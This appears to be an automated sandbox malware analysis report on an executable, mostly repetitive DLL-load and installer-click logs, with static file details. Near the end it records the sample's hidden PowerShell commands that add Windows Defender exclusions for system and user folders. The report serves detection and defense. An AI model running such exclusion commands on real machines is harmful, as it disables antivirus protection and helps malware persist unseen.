Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: apphelp.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: winhttp.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: dpapi.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: uxtheme.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: webio.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: mswsock.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: iphlpapi.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: winnsi.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: sspicli.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: schannel.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: mskeyprotect.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: ntasn1.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: ncrypt.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: ncryptsslp.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: msasn1.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: cryptsp.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: rsaenh.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: cryptbase.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: gpapi.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: windows.storage.dll
Source: C:\Reka\rapnewsa.exe	Section loaded: wldp.dll

Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: OK
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Automated click: Next >

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\UBONg7lmVR.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: UBONg7lmVR.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: UBONg7lmVR.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: UBONg7lmVR.exe

Static file information: File size 52506624 > 1048576

Source: UBONg7lmVR.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x3211200

Source: UBONg7lmVR.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"	Jump to behavior
